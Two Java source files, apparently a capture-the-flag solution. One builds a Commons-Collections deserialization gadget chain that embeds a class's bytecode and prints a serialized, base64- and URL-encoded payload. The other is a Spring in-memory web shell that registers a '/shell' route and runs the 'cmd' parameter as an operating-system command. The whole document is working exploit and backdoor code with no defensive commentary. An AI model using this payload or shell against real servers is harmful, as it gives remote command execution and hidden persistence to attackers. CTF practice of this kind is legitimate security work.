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| package org.polar.ctf;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;
public class exp {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException, TransformerConfigurationException, Base64DecodingException {
byte[] code = Repository.lookupClass(SpringMemShell.class).getBytes();
byte[][] codes = {code};
//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
//Transformer数组
Transformer transformers = new InvokerTransformer("getClass",null,null);
HashMap innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformers);
TiedMapEntry tme = new TiedMapEntry(outerMap,templates);
HashMap hashMap = new HashMap();
hashMap.put(tme,"value");
outerMap.remove(templates);
setFieldValue(transformers,"iMethodName","newTransformer");
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
System.out.println(URLEncoder.encode(java.util.Base64.getEncoder().encodeToString(baos.toByteArray())));
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}
package org.polar.ctf;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringMemShell extends AbstractTranslet{
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
SpringMemShell springControllerMemShell = new SpringMemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
// hi.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
